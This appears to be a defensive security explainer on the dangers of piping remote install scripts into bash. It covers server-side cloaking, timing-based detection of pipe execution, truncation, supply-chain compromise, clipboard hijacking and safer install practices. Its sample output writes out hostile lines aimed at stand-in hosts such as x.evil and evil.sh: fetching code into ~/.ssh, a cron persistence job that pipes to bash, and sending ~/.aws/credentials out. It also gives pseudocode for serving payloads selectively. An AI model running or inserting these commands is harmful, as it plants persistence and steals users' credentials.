Piping a remote script straight into your shell hands an anonymous server a live shell on your machine — running as you, with your permissions, before a single byte ever reaches your eyes.
curl -sSL https://get.example.sh | bash
curl opens a TCP connection to a host you don't control and starts piping its response into bash's stdin.
bash reads and runs the script line-by-line as bytes stream in — not after a complete, verified download.
It runs with your user: your files, SSH keys, ~/.aws creds, env vars, and any cached sudo timestamp.
HTTPS confirms you reached a server with a valid cert. It says nothing about whether that server is honest, breached, or serving you a different script than the next person.
Every one of these exploits the same root facts: you never read the script, the server chooses what to send per request, and execution is streaming.
The server sees your request and decides, live, what to return. User-Agent: curl/8.x already tells it you're not a browser. Add IP geolocation, ASN/IP reputation, time-of-day, and whether you're piping to a shell (next section), and it can serve a clean script to researchers and scanners while serving the payload only to real victims.
# the SAME url returns different bodies
if ua == "browser" or ip in researcher_ranges:
serve(benign_installer) # what audits see
else:
serve(payload) # what you get
Because bash runs commands as it reads them, a server can tell you're piping without any header. It ends the first chunk with a slow command, then times how long before you read the rest. A pipe pauses to execute; an -o file save reads everything instantly. Detail in the detection section.
Streaming execution means a connection cut at the wrong byte can run a partial line. A flaky proxy, a killed connection, or a deliberate truncation can turn a safe command into a catastrophic one — and bash has already executed everything before the cut.
rm -rf /tmp/app-cache/*
# ...but the stream was cut after byte 11. bash ran:
rm -rf /tmp
A pipe-to-shell command trusts that server's integrity forever and pins nothing. A breached origin, a poisoned CDN edge, a malicious mirror, or a hijacked DNS record means the install line in the README now serves malware — and because no one published a checksum, there is nothing to compare against and no record of what ran.
The command looks right. Typosquatted domains (get.dockor.io), homoglyphs, and shortened URLs hide the real destination. Worse, a web page can rig what your ⌘C actually copies — selected text shows one command, the clipboard holds another, often with a trailing newline that auto-runs on paste.
# what the page shows you select:
curl https://get.tool.sh | bash
# what actually landed in your buffer:
curl https://get.tool.sh|bash; curl evil.sh|bash⏎
The first chunk of the response ends with padding plus a delay command. The server flushes it, then waits — measuring the gap before your client reads the rest. bash executes the delay before requesting more bytes; a file save doesn't. That single timing difference is enough to branch the payload.
# one connection, response sent in two chunks
send(CHUNK_1) # ...padding... ; sleep 1
flush(socket)
t = now()
# bash runs `sleep 1` BEFORE reading on.
# a browser / `-o file` reads it all at once.
wait_for_next_read(socket)
if now() - t > 0.5: # it paused -> executing
send(MALICIOUS_CHUNK_2)
else:
send(BENIGN_CHUNK_2)
# server saw one fast, complete read — looks like a file save
curl -sSL https://get.example.sh -o install.sh
# install.sh — benign installer served
less install.sh # now you can actually read it# server timed your read — you are piping to a shell
curl -sSL https://get.example.sh | bash
+ curl -s https://x.evil/k | tar xz -C ~/.ssh
+ (crontab -l; echo '*/5 * * * * curl x.evil/c|bash') | crontab -
+ cp ~/.aws/credentials /tmp/.c && curl -F f=@/tmp/.c x.evil
✓ docker installed successfully
The whole risk collapses once there's an inspect step. You don't have to read every line of every script forever — but the option, the record, and the checksum should exist.
# 1 — fetch without executing (and force good TLS)
curl --proto '=https' --tlsv1.2 -fsSL https://get.example.sh -o install.sh
# 2 — actually read it
less install.sh
# 3 — verify, if a hash or signature is published
sha256sum install.sh # compare to the published value
gpg --verify install.sh.asc install.sh
# 4 — run it explicitly, ideally sandboxed
bash install.sh # or inside a container / VM
Prefer package managers — apt, dnf, pacman — with signed repositories and a real update trail.
Never add -k / --insecure to make an install "just work." That disables the one check you have.
Type or carefully verify URLs; don't paste install commands blind from forums, chats, or docs that could be edited.
Run unknown installers in a container or VM first, so a bad payload has nothing of yours to steal.
Enable your terminal's bracketed paste so a sneaky trailing newline can't auto-execute a pasted command.
Maintainers: ship signed packages and publish checksums. Don't normalize pipe-to-shell as the only path.
note — pipe-to-shell isn't always catastrophic, and plenty of honest projects ship it. The point is the trust you extend: the server, the transport, and the integrity of that exact byte stream — every single run, with no record of what executed.